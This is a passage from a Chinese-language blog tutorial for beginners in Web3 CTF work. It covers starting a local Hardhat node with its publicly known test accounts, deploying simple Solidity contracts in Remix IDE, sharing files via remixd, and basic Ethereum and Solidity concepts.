888</span><br><span class="line">8888888888  8888b.  888d888 .d88888 88888b.   8888b.  888888</span><br><span class="line">888    888     <span class="string">&quot;88b 888P&quot;</span>  d88<span class="string">&quot; 888 888 &quot;</span>88b     <span class="string">&quot;88b 888</span></span><br><span class="line"><span class="string">888    888 .d888888 888    888  888 888  888 .d888888 888</span></span><br><span class="line"><span class="string">888    888 888  888 888    Y88b 888 888  888 888  888 Y88b.</span></span><br><span class="line"><span class="string">888    888 &quot;</span>Y888888 888     <span class="string">&quot;Y88888 888  888 &quot;</span>Y888888  <span class="string">&quot;Y888</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">Welcome to Hardhat v2.24.0</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">√ What do you want to do? · Create a TypeScript project</span></span><br><span class="line"><span class="string">√ Hardhat project root: · F:\CTF\Web3\Node</span></span><br><span class="line"><span class="string">√ Do you want to add a .gitignore? (Y/n) · y</span></span><br><span class="line"><span class="string">√ Help us improve Hardhat with anonymous crash reports &amp; basic usage data? (Y/n) · y</span></span><br><span class="line"><span class="string">√ Do you want to install this sample project&#x27;s dependencies with npm (hardhat @nomicfoundation/hardhat-toolbox)? (Y/n) · y</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">npm install --save-dev &quot;</span>hardhat@^2.24.0<span class="string">&quot; &quot;</span>@nomicfoundation/hardhat-toolbox@^5.0.0<span class="string">&quot;</span></span><br><span class="line"><span class="string">npm warn deprecated inflight@1.0.6: This module is not supported, and leaks memory. Do not use it. Check out lru-cache if you want a good and tested way to coalesce async requests by a key value, which is much more comprehensive and powerful.</span></span><br><span class="line"><span class="string">npm warn deprecated glob@8.1.0: Glob versions prior to v9 are no longer supported</span></span><br><span class="line"><span class="string">npm warn deprecated glob@5.0.15: Glob versions prior to v9 are no longer supported</span></span><br><span class="line"><span class="string">npm warn deprecated glob@7.1.7: Glob versions prior to v9 are no longer supported</span></span><br><span class="line"><span class="string">npm warn deprecated lodash.isequal@4.5.0: This package is deprecated. Use require(&#x27;node:util&#x27;).isDeepStrictEqual instead.</span></span><br><span class="line"><span class="string">npm warn deprecated glob@7.2.3: Glob versions prior to v9 are no longer supported</span></span><br><span class="line"><span class="string">npm warn deprecated glob@7.2.3: Glob versions prior to v9 are no longer supported</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">added 576 packages in 22s</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">103 packages are looking for funding</span></span><br><span class="line"><span class="string">  run `npm fund` for details</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">Project created</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">See the README.md file for some example tasks you can run</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">Give Hardhat a star on Github if you&#x27;re enjoying it!</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">     https://github.com/NomicFoundation/hardhat</span></span><br><span class="line"><span class="string">     </span></span><br><span class="line"><span class="string">$ npx hardhat node</span></span><br><span class="line"><span class="string">Started HTTP and WebSocket JSON-RPC server at http://127.0.0.1:8545/</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">Accounts</span></span><br><span class="line"><span class="string">========</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">WARNING: These accounts, and their private keys, are publicly known.</span></span><br><span class="line"><span class="string">Any funds sent to them on Mainnet or any other live network WILL BE LOST.</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">Account #0: 0xf39Fd6e51aad88F6F4ce6aB8827279cffFb92266 (10000 ETH)</span></span><br><span class="line"><span class="string">Private Key: 0xac0974bec39a17e36ba4a6b4d238ff944bacb478cbed5efcae784d7bf4f2ff80</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">Account #1: 0x70997970C51812dc3A010C7d01b50e0d17dc79C8 (10000 ETH)</span></span><br><span class="line"><span class="string">Private Key: 0x59c6995e998f97a5a0044966f0945389dc9e86dae88c7a8412f4603b6b78690d</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">Account #2: 0x3C44CdDdB6a900fa2b585dd299e03d12FA4293BC (10000 ETH)</span></span><br><span class="line"><span class="string">Private Key: 0x5de4111afa1a4b94908f83103eb1f1706367c2e68ca870fc3fb9a804cdab365a</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">Account #3: 0x90F79bf6EB2c4f870365E785982E1f101E93b906 (10000 ETH)</span></span><br><span class="line"><span class="string">Private Key: 0x7c852118294e51e653712a81e05800f419141751be58f605c371e15141b007a6</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">Account #4: 0x15d34AAf54267DB7D7c367839AAf71A00a2C6A65 (10000 ETH)</span></span><br><span class="line"><span class="string">Private Key: 0x47e179ec197488593b187f80a00eb0da91f1b9d0b13f8733639f19c30a34926a</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">Account #5: 0x9965507D1a55bcC2695C58ba16FB37d819B0A4dc (10000 ETH)</span></span><br><span class="line"><span class="string">Private Key: 0x8b3a350cf5c34c9194ca85829a2df0ec3153be0318b5e2d3348e872092edffba</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">Account #6: 0x976EA74026E726554dB657fA54763abd0C3a0aa9 (10000 ETH)</span></span><br><span class="line"><span class="string">Private Key: 0x92db14e403b83dfe3df233f83dfa3a0d7096f21ca9b0d6d6b8d88b2b4ec1564e</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">Account #7: 0x14dC79964da2C08b23698B3D3cc7Ca32193d9955 (10000 ETH)</span></span><br><span class="line"><span class="string">Private Key: 0x4bbbf85ce3377467afe5d46f804f221813b2bb87f24d81f60f1fcdbf7cbf4356</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">Account #8: 0x23618e81E3f5cdF7f54C3d65f7FBc0aBf5B21E8f (10000 ETH)</span></span><br><span class="line"><span class="string">Private Key: 0xdbda1821b80551c9d65939329250298aa3472ba22feea921c0cf5d620ea67b97</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">Account #9: 0xa0Ee7A142d267C1f36714E4a8F75612F20a79720 (10000 ETH)</span></span><br><span class="line"><span class="string">Private Key: 0x2a871d0798f97d79848a013d4936a73bf4cc922c825d33c1cf7073dff6d409c6</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">Account #10: 0xBcd4042DE499D14e55001CcbB24a551F3b954096 (10000 ETH)</span></span><br><span class="line"><span class="string">Private Key: 0xf214f2b2cd398c806f84e317254e0f0b801d0643303237d97a22a48e01628897</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">Account #11: 0x71bE63f3384f5fb98995898A86B02Fb2426c5788 (10000 ETH)</span></span><br><span class="line"><span class="string">Private Key: 0x701b615bbdfb9de65240bc28bd21bbc0d996645a3dd57e7b12bc2bdf6f192c82</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">Account #12: 0xFABB0ac9d68B0B445fB7357272Ff202C5651694a (10000 ETH)</span></span><br><span class="line"><span class="string">Private Key: 0xa267530f49f8280200edf313ee7af6b827f2a8bce2897751d06a843f644967b1</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">Account #13: 0x1CBd3b2770909D4e10f157cABC84C7264073C9Ec (10000 ETH)</span></span><br><span class="line"><span class="string">Private Key: 0x47c99abed3324a2707c28affff1267e45918ec8c3f20b8aa892e8b065d2942dd</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">Account #14: 0xdF3e18d64BC6A983f673Ab319CCaE4f1a57C7097 (10000 ETH)</span></span><br><span class="line"><span class="string">Private Key: 0xc526ee95bf44d8fc405a158bb884d9d1238d99f0612e9f33d006bb0789009aaa</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">Account #15: 0xcd3B766CCDd6AE721141F452C550Ca635964ce71 (10000 ETH)</span></span><br><span class="line"><span class="string">Private Key: 0x8166f546bab6da521a8369cab06c5d2b9e46670292d85c875ee9ec20e84ffb61</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">Account #16: 0x2546BcD3c84621e976D8185a91A922aE77ECEc30 (10000 ETH)</span></span><br><span class="line"><span class="string">Private Key: 0xea6c44ac03bff858b476bba40716402b03e41b8e97e276d1baec7c37d42484a0</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">Account #17: 0xbDA5747bFD65F08deb54cb465eB87D40e51B197E (10000 ETH)</span></span><br><span class="line"><span class="string">Private Key: 0x689af8efa8c651a91ad287602527f3af2fe9f6501a7ac4b061667b5a93e037fd</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">Account #18: 0xdD2FD4581271e230360230F9337D5c0430Bf44C0 (10000 ETH)</span></span><br><span class="line"><span class="string">Private Key: 0xde9be858da4a475276426320d5e9262ecfc3ba460bfac56360bfa6c4c28b4ee0</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">Account #19: 0x8626f6940E2eb28930eFb4CeF49B2d1F2C9C1199 (10000 ETH)</span></span><br><span class="line"><span class="string">Private Key: 0xdf57089febbacf7ba0bc227dafbffa9fc08a93fdc68e1e42411a14efcf23656e</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">WARNING: These accounts, and their private keys, are publicly known.</span></span><br><span class="line"><span class="string">Any funds sent to them on Mainnet or any other live network WILL BE LOST.</span></span><br></pre></td></tr></table></figure><p>hardhat 会给我们提供测试的钱包，但是需要注意的是，不要在主网上往这些钱包转账！这些账户的私钥是公开的，所以可能会导致你的钱被盗走</p><p>开启后自己在小狐狸钱包里面加入自己的本地网络就可以了</p><h2 id="使用-Remix-IDE-部署合约"><a href="#使用-Remix-IDE-部署合约" class="headerlink" title="使用 Remix IDE 部署合约"></a>使用 Remix IDE 部署合约</h2><p>在 Remix IDE 中，我们先新建一个文件，文件名你喜欢就好</p><p>我们添加以下代码（一个简单的加法）</p><pre class="one-dark-pro" style="background-color:#282c34;color:#abb2bf" tabindex="0"><code><div class="line"><span style="color:#7F848E;font-style:italic">// SPDX-License-Identifier: MIT</span></div><div class="line"><span style="color:#C678DD">pragma</span><span style="color:#E06C75"> solidity</span><span style="color:#D19A66"> >=0.7.0</span><span style="color:#ABB2BF">;</span></div><div class="line"></div><div class="line"><span style="color:#C678DD">contract</span><span style="color:#E5C07B"> TestAdd</span><span style="color:#ABB2BF"> &#123;</span></div><div class="line"><span style="color:#C678DD">    function</span><span style="color:#61AFEF"> add</span><span style="color:#ABB2BF"> (</span><span style="color:#E5C07B">uint256</span><span style="color:#ABB2BF;font-style:italic"> _a</span><span style="color:#ABB2BF">, </span><span style="color:#E5C07B">uint256</span><span style="color:#ABB2BF;font-style:italic"> _b</span><span style="color:#ABB2BF">) </span><span style="color:#C678DD">public</span><span style="color:#C678DD"> pure</span><span style="color:#C678DD"> returns</span><span style="color:#ABB2BF"> (</span><span style="color:#E5C07B">uint256</span><span style="color:#ABB2BF">) &#123;</span></div><div class="line"><span style="color:#C678DD">        return</span><span style="color:#ABB2BF"> _a </span><span style="color:#56B6C2">+</span><span style="color:#ABB2BF"> _b;</span></div><div class="line"><span style="color:#ABB2BF">    &#125;</span></div><div class="line"><span style="color:#ABB2BF">&#125;</span></div></code></pre><p>完成后按下 <kbd>Ctrl</kbd> + <kbd>S</kbd> 会自动编译，或者你也可以点击左侧的 <code>Solidity 编译器</code>，然后点击那个蓝色的编译按钮也可以</p><p><img src="https://assets.bili33.top/img/CTF-Web3-Guide/msedge_RnQ98BdaLW.png"></p><p>完成编译后我们要进行部署，我们点到左边的 <code>部署 &amp; 发交易</code> 选项卡，在这里点击上面的环境，选择 <code>WalletConnect</code> 连接自己的钱包，注意网段别选错了，万一选到了以太坊那是真给钱了</p><p>这里会让你授权部署合约，再次确认你的网络和账户是正确的</p><p><img src="https://assets.bili33.top/img/CTF-Web3-Guide/msedge_HqUOq7Us9q.png"></p><p>连接好后点击下面的部署就可以部署合约了，等到它部署完成就可以调用了</p><p><img src="https://assets.bili33.top/img/CTF-Web3-Guide/NVIDIA_Overlay_46dxV0akBH.png"></p><p>在部署的时候，下面的 Terminal 里面会有信息的</p><p><img src="https://assets.bili33.top/img/CTF-Web3-Guide/msedge_UDmVUTVC4C.png"></p><p>这里会给你显示合约详细信息的查看连接，例如我这里就是这两个</p><ul><li>View on Blockscout: <a href="https://eth-sepolia.blockscout.com/tx/0xee0efde8c7fb84304a3c785becc3c6e4559b8cc9bc37f5eb920bedfdc81e1891">https://eth-sepolia.blockscout.com/tx/0xee0efde8c7fb84304a3c785becc3c6e4559b8cc9bc37f5eb920bedfdc81e1891</a></li><li>View on Etherscan: <a href="https://sepolia.etherscan.io/tx/0xee0efde8c7fb84304a3c785becc3c6e4559b8cc9bc37f5eb920bedfdc81e1891">https://sepolia.etherscan.io/tx/0xee0efde8c7fb84304a3c785becc3c6e4559b8cc9bc37f5eb920bedfdc81e1891</a></li></ul><p>这里显示这个合约的状态，部署完成后在已部署的合约中是有你的合约的，你就可以直接调用了</p><p><img src="https://assets.bili33.top/img/CTF-Web3-Guide/msedge_8R8VzMPvxE.png"></p><p>如果你做到了这一步，恭喜你，你已经完成你的第一次合约部署了！</p><h2 id="与-Remix-IDE-共享本地文件"><a href="#与-Remix-IDE-共享本地文件" class="headerlink" title="与 Remix IDE 共享本地文件"></a>与 Remix IDE 共享本地文件</h2><p>我们在 Remix IDE 中编写的文件是保存在这个 IDE 里面的，但是我们很多时候还是希望保存在自己电脑上（作为文件），或者把自己电脑上的文件共享到这个 IDE 里面，这时候我们需要用到 remixd，先确保你安装了 nodejs 和 npm，然后我们来安装一下 remixd</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">npm install -g @remix-project/remixd</span><br></pre></td></tr></table></figure><p>安装完成后，使用下面的命令来共享文件夹</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">$ remixd -s .\contracts\ -u https://remix.ethereum.org/</span><br><span class="line">[INFO] you are using the latest version 0.6.48</span><br><span class="line">[WARN] You may now only use IDE at https://remix.ethereum.org/ to connect to that instance</span><br><span class="line">[WARN] Any application that runs on your computer can potentially <span class="built_in">read</span> from and write to all files <span class="keyword">in</span> the directory.</span><br><span class="line">[WARN] Symbolic links are not forwarded to Remix IDE</span><br><span class="line"></span><br><span class="line">[INFO] Tue May 27 2025 13:01:14 GMT+0800 (香港标准时间) remixd is listening on 127.0.0.1:65520</span><br><span class="line">[INFO] Tue May 27 2025 13:01:14 GMT+0800 (香港标准时间) slither is listening on 127.0.0.1:65523</span><br></pre></td></tr></table></figure><p>你应该将这里的 <code>.\contracts\</code> 更换为你自己的文件夹路径，命令的用法为 <code>remixd -s &lt;path-to-the-shared-folder&gt; -u &lt;remix-ide-instance-URL&gt;</code></p><p>我们还需要在 Remix IDE 里面安装 REMIXD 插件，在左下角有个插头图标，点击后我们在搜索框搜索 <code>REMIXD</code> 就可以找到了</p><p><img src="https://assets.bili33.top/img/CTF-Web3-Guide/msedge_Cl2pj0tlbk.png"></p><p>启用后回到文件管理，就可以看到工作空间多了个 localhost，这里面就是你的文件了</p><p><img src="https://assets.bili33.top/img/CTF-Web3-Guide/msedge_K6KcPIDMwZ.png"></p><h2 id="理解以太坊"><a href="#理解以太坊" class="headerlink" title="理解以太坊"></a>理解以太坊</h2><p>现在，是时候了解一下到底什么是以太坊，什么是 Web3 了</p><p>这个问题讲起来比较麻烦，你可能需要阅读下面的这些连接</p><ul><li>什么是 Web3？(MetaMask): <a href="https://learn.metamask.io/zh-CN/lessons/what-is-web3">https://learn.metamask.io/zh-CN/lessons/what-is-web3</a></li><li>了解以太坊 (ethereum): <a href="https://ethereum.org/zh/learn/">https://ethereum.org/zh/learn/</a></li><li>以太坊（ETH）到底是什么？（通俗的解释）: <a href="https://zhuanlan.zhihu.com/p/390884462">https://zhuanlan.zhihu.com/p/390884462</a><br>注：此账户其他的文章建议不看，AI 水分很大，但是就上面这个来说确实很形象了</li></ul><p>其中小狐狸的教程比较简单易懂，也比较浅显，而以太坊官方的教程更加的详细</p><p>但如果你想寻求一下类比的东西，那么你可以看看下面这一段 Grok 3 的概括</p><blockquote><h3 id="以太坊是什么？"><a href="#以太坊是什么？" class="headerlink" title="以太坊是什么？"></a><strong>以太坊是什么？</strong></h3><p>以太坊（Ethereum）就是一个去中心化的“超级计算机”平台，简单来说，它是一个基于区块链技术的网络，任何人都可以在上面运行程序、创建应用，甚至发行自己的数字货币。它不像比特币只是用来转账和存储价值，以太坊更像一个可以编程的“世界计算机”，支持各种复杂的功能。</p><p>想象一下：以太坊就像一个巨大的共享电脑，全世界的人都可以用它来写代码、跑程序，这些程序还能自动执行，不需要中间人，也不怕有人作弊。这就是它的核心魅力。</p><h3 id="以太坊里的专有名词解释"><a href="#以太坊里的专有名词解释" class="headerlink" title="以太坊里的专有名词解释"></a><strong>以太坊里的专有名词解释</strong></h3><p>下面咱们把一些常见的专业名词拆解一下，用人话讲明白：</p><ol><li><strong>区块链（Blockchain）</strong><br>这是以太坊的基础技术。想象一个超级安全的账本，所有的交易和操作记录都写在上面，每一页（区块）都连在一起（链）。这个账本是公开的，谁都可以看，而且一旦写进去就改不了，保证了数据的安全和透明。</li><li><strong>以太币（Ether, 简称ETH）</strong><br>这是以太坊网络里的“货币”，用来支付运行程序或交易的费用。就像你用电脑要交电费一样，在以太坊上跑程序或转账得花ETH。</li><li><strong>智能合约（Smart Contract）</strong><br>这是以太坊的核心功能之一。智能合约就是一段自动执行的代码，写在区块链上。比如，你和朋友约定“如果明天下雨，我就给你100块”，这个条件写成代码后，到了明天如果真下雨，系统会自动转账，不需要你手动操作，也不用担心对方赖账。</li><li><strong>去中心化应用（DApp）</strong><br>这是运行在以太坊上的应用程序，和咱们手机上的App差不多，但区别在于它不是由某个公司控制，而是跑在区块链上，数据公开，规则透明。比如去中心化的金融应用（DeFi）、游戏、投票系统等。</li><li><strong>Gas（燃气费用）</strong><br>在以太坊上运行任何操作（比如转账或执行智能合约）都需要支付手续费，这个费用叫Gas。Gas是用ETH支付的，类似于你开车要加油，Gas费高低取决于网络的“拥堵程度”和操作的复杂性。</li><li><strong>节点（Node）</strong><br>节点就是参与以太坊网络的电脑。任何人都可以运行一个节点来帮助维护网络，记录交易数据。节点越多，网络越安全、越去中心化。</li><li><strong>挖矿（Mining）</strong> 和 <strong>PoW&#x2F;PoS</strong><ul><li>挖矿：早期以太坊通过“挖矿”来验证交易和生成新区块， miners（矿工）用电脑算力解决问题，成功后就能获得ETH奖励。这叫工作量证明（PoW，Proof of Work），就是比特币用的那套。</li><li>现在以太坊已经升级到“合并”（The Merge），改用了权益证明（PoS，Proof of Stake）。不再靠算力，而是靠持有和质押ETH来参与验证交易，更加节能。</li></ul></li><li><strong>以太坊虚拟机（EVM）</strong><br>这是以太坊的核心引擎，负责执行智能合约代码。就像你的电脑运行软件一样，EVM是所有DApp和智能合约的“运行环境”。</li><li><strong>Layer 2（二层解决方案）</strong><br>以太坊主网（Layer 1）有时候会很慢，Gas费也很贵。所以就有了Layer 2技术，比如Optimism、Arbitrum，它们是建在以太坊上的“辅助网络”，可以处理更多交易，降低成本，然后再把结果汇总到主网。</li></ol><h3 id="总结一下"><a href="#总结一下" class="headerlink" title="总结一下"></a><strong>总结一下</strong></h3><p>以太坊是一个支持智能合约和去中心化应用的区块链平台，它的“货币”是ETH，它的“燃料”是Gas。用户可以在上面开发各种应用（DApp），所有操作都由智能合约自动执行，数据存储在公开透明的区块链上。网络通过节点运行，经过PoS机制验证交易，同时还有Layer 2来优化速度和成本。</p><p>简单来说，以太坊就是一个开放的数字世界，你可以在里面创造、交易、合作，而且不需要相信任何人，因为规则和代码说了算。</p></blockquote><h2 id="学习-Solidity"><a href="#学习-Solidity" class="headerlink" title="学习 Solidity"></a>学习 Solidity</h2><blockquote><p>我是跟着右边这个链接学习的，再加上我的一些解释&#x2F;见解，共同组成了这一部分：<a href="https://decert.me/tutorial/solidity/intro/">https://decert.me/tutorial/solidity/intro/</a></p></blockquote><div class="note info flat"><p>在这一节中，我假设作为读者的你有这部分的编程基础，学过至少一门编程语言（例如 C、Python、Javascript 等）</p></div><h3 id="最基础的合约文件"><a href="#最基础的合约文件" class="headerlink" title="最基础的合约文件"></a>最基础的合约文件</h3><p>最简单的合约文件由两个部分组成：编译器版本声明、合约，拿上面的加法合约举例</p><pre class="one-dark-pro" style="background-color:#282c34;color:#abb2bf" tabindex="0"><code><div class="line"><span style="color:#7F848E;font-style:italic">// SPDX-License-Identifier: MIT</span></div><div class="line"><span style="color:#C678DD">pragma</span><span style="color:#E06C75"> solidity</span><span style="color:#D19A66"> >=0.7.0</span><span style="color:#ABB2BF">;</span></div><div class="line"></div><div class="line"><span style="color:#C678DD">contract</span><span style="color:#E5C07B"> TestAdd</span><span style="color:#ABB2BF"> &#123;</span></div><div class="line"><span style="color:#C678DD">    function</span><span style="color:#61AFEF"> add</span><span style="color:#ABB2BF"> (</span><span style="color:#E5C07B">uint256</span><span style="color:#ABB2BF;font-style:italic"> _a</span><span style="color:#ABB2BF">, </span><span style="color:#E5C07B">uint256</span><span style="color:#ABB2BF;font-style:italic"> _b</span><span style="color:#ABB2BF">) </span><span style="color:#C678DD">public</span><span style="color:#C678DD"> pure</span><span style="color:#C678DD"> returns</span><span style="color:#ABB2BF"> (</span><span style="color:#E5C07B">uint256</span><span style="color:#ABB2BF">) &#123;</span></div><div class="line"><span style="color:#C678DD">        return</span><span style="color:#ABB2BF"> _a </span><span style="color:#56B6C2">+</span><span style="color:#ABB2BF"> _b;</span></div><div class="line"><span style="color:#ABB2BF">    &#125;</span></div><div class="line"><span style="color:#ABB2BF">&#125;</span></div></code></pre><ul><li><code>pragma solidity &gt;=0.7.0;</code> 表示编译器版本应该大于等于 <code>0.7.0</code>，这个写法是与 npm 的写法兼容的，这里也可以写作 <code>^0.7.0</code></li><li><code>contract TestAdd</code> 定义了一个合约，这个合约的名字叫做 <code>TestAdd</code><ul><li><code>function add (uint256 _a, uint256 _b) public pure returns (uint256)</code> 定义了一个在 <code>TestAdd</code> 合约里面的函数，函数名为 <code>add</code><ul><li><code>(uint256 _a, uint256 _b)</code> 与 C 类似，这里表明了这个函数需要接受两个参数 <code>_a</code> 和 <code>_b</code>，他们都是 <code>uint256</code> 类型</li><li><code>public</code> 是一个可见性修饰符，表示它能够被任何人调用（关于可见性修饰符，后面会有详细的解释）</li><li><code>pure</code> 是一个状态可变性修饰符，表示这个函数既不会读取合约的状态变量，也不会修改合约的状态变量（关于可变性修饰符，后面会有详细的解释）</li><li><code>returns (uint256)</code> 表示这个函数的返回值是一个 <code>uint256</code> 类型</li></ul></li></ul></li></ul><p>于是这个名为 <code>TestAdd</code> 的合约最后拥有了一个给任何用户调用并输入 <code>_a</code> 和 <code>_b</code>，不改变合约内部变量，返回 <code>uint256</code> 数字的一个加法函数，这也是这个合约的所有内容</p><blockquote><p>看完这里，你可以先去尝试一下这个挑战：<a href="https://decert.me/quests/d99f56d8-3b98-47e5-893d-e6f63810a151">https://decert.me/quests/d99f56d8-3b98-47e5-893d-e6f63810a151</a></p></blockquote><h3 id="理解合约"><a href="#理解合约" class="headerlink" title="理解合约"></a>理解合约</h3><p>合约可以看作是 <code>class</code>（一个对象），举个例子，在学习 Python 的过程中，你肯定遇到过这样的一个例子</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">class</span> <span class="title class_">Dog</span>:</span><br><span class="line">    <span class="keyword">def</span> <span class="title function_">__init__</span>(<span class="params">self</span>):</span><br><span class="line">        ...</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">def</span> <span class="title function_">bark</span>(<span class="params">self, sound=<span class="string">&quot;know-wow&quot;</span></span>):</span><br><span class="line">        <span class="keyword">return</span> sound</span><br></pre></td></tr></table></figure><p>在这里的 Python 代码中，我们定义了一个名为 <code>Dog</code> 的对象，并且定义了它的一个函数叫做 <code>bark</code>（吠叫），当我们使用它的时候，肯定是这样用的</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">dog = Dog()</span><br><span class="line"><span class="built_in">print</span>(dog.bark(sound=<span class="string">&quot;know-wow&quot;</span>))</span><br></pre></td></tr></table></figure><p>这会输出 <code>know-wow</code>，而我们在 Solidity 中，是这样写的</p><pre class="one-dark-pro" style="background-color:#282c34;color:#abb2bf" tabindex="0"><code><div class="line"><span style="color:#C678DD">pragma</span><span style="color:#E06C75"> solidity</span><span style="color:#D19A66"> ^0.8.0</span><span style="color:#ABB2BF">;</span></div><div class="line"></div><div class="line"><span style="color:#C678DD">contract</span><span style="color:#E5C07B"> Dog</span><span style="color:#ABB2BF"> &#123;</span></div><div class="line"><span style="color:#C678DD">    function</span><span style="color:#61AFEF"> Bark</span><span style="color:#ABB2BF"> (</span><span style="color:#E5C07B">string</span><span style="color:#C678DD"> calldata</span><span style="color:#ABB2BF;font-style:italic"> _sound</span><span style="color:#ABB2BF">) </span><span style="color:#C678DD">public</span><span style="color:#C678DD"> pure</span><span style="color:#C678DD"> returns</span><span style="color:#ABB2BF"> (</span><span style="color:#E5C07B">string</span><span style="color:#C678DD"> calldata</span><span style="color:#ABB2BF">) &#123;</span></div><div class="line"><span style="color:#C678DD">        return</span><span style="color:#ABB2BF"> _sound;</span></div><div class="line"><span style="color:#ABB2BF">    &#125;</span></div><div class="line"><span style="color:#ABB2BF">&#125;</span></div></code></pre><p>当我们部署合约并调用时，传入 <code>know-wow</code>，它也会返回 <code>know-wow</code>（图示左下角）</p><p><img src="https://assets.bili33.top/img/CTF-Web3-Guide/msedge_YSoRxVeR2G.png"></p><h3 id="变量与函数的可见性"><a href="#变量与函数的可见性" class="headerlink" title="变量与函数的可见性"></a>变量与函数的可见性</h3><p>在上面，我们都没有真正定义一个变量，接下来，我们先看这个合约（一个经典的计数器合约）</p><pre class="one-dark-pro" style="background-color:#282c34;color:#abb2bf" tabindex="0"><code><div class="line"><span style="color:#C678DD">pragma</span><span style="color:#E06C75"> solidity</span><span style="color:#D19A66"> >=0.8.0</span><span style="color:#ABB2BF">;</span></div><div class="line"></div><div class="line"><span style="color:#C678DD">contract</span><span style="color:#E5C07B"> Counter</span><span style="color:#ABB2BF"> &#123;</span></div><div class="line"><span style="color:#E5C07B">    uint</span><span style="color:#C678DD"> public</span><span style="color:#ABB2BF"> counter;</span></div><div class="line"></div><div class="line"><span style="color:#C678DD"> constructor</span><span style="color:#ABB2BF">() &#123;</span></div><div class="line"><span style="color:#ABB2BF">  counter </span><span style="color:#56B6C2">=</span><span style="color:#D19A66"> 0</span><span style="color:#ABB2BF">;</span></div><div class="line"><span style="color:#ABB2BF"> &#125;</span></div><div class="line"></div><div class="line"><span style="color:#C678DD">    function</span><span style="color:#61AFEF"> increase</span><span style="color:#ABB2BF">() </span><span style="color:#C678DD">public</span><span style="color:#ABB2BF"> &#123;</span></div><div class="line"><span style="color:#ABB2BF">        counter </span><span style="color:#56B6C2">+=</span><span style="color:#D19A66"> 1</span><span style="color:#ABB2BF">;</span></div><div class="line"><span style="color:#ABB2BF">    &#125;</span></div><div class="line"></div><div class="line"><span style="color:#C678DD">    function</span><span style="color:#61AFEF"> decrease</span><span style="color:#ABB2BF">() </span><span style="color:#C678DD">public</span><span style="color:#ABB2BF"> &#123;</span></div><div class="line"><span style="color:#ABB2BF">        counter </span><span style="color:#56B6C2">-=</span><span style="color:#D19A66"> 1</span><span style="color:#ABB2BF">;</span></div><div class="line"><span style="color:#ABB2BF">    &#125;</span></div><div class="line"></div><div class="line"><span style="color:#C678DD">    function</span><span style="color:#61AFEF"> get</span><span style="color:#ABB2BF">() </span><span style="color:#C678DD">view</span><span style="color:#C678DD"> public</span><span style="color:#C678DD"> returns</span><span style="color:#ABB2BF"> (</span><span style="color:#E5C07B">uint</span><span style="color:#ABB2BF">) &#123;</span></div><div class="line"><span style="color:#C678DD">        return</span><span style="color:#ABB2BF"> counter;</span></div><div class="line"><span style="color:#ABB2BF">    &#125;</span></div><div class="line"><span style="color:#ABB2BF">&#125;</span></div></code></pre><p>在这里，我们可以发现在合约 <code>Counter</code> 中，我们新建了一个 <code>uint</code> 类型的 <code>public</code> 变量 <code>counter</code>，并在 <code>constructor()</code> 函数中让 <code>counter</code> 的值设置为 0</p><ul><li><code>uint public counter</code><ul><li><code>uint</code> 表示这个变量 <code>counter</code> 为 <code>uint256</code> 类型</li><li><code>public</code> 表示 <code>counter</code> 可以被公开访问</li></ul></li></ul><p>类似于 C，Solidity 还有其他的可见性修饰符（大部分都可以用在变量&#x2F;函数上，特殊说明除外）</p><h4 id="外部修饰符：external"><a href="#外部修饰符：external" class="headerlink" title="外部修饰符：external"></a>外部修饰符：<code>external</code></h4><p><strong>不能用在变量上，只能用在函数上</strong>，声明为 <code>external</code> 的函数只能在外部进行调用，此时称这些函数为外部函数</p><p>当我们在一个合约的函数中添加了 <code>external</code> 修饰符，那么在这个合约中就不能对这个函数进行直接调用</p><p>我们在这里创建一个计算器</p><pre class="one-dark-pro" style="background-color:#282c34;color:#abb2bf" tabindex="0"><code><div class="line"><span 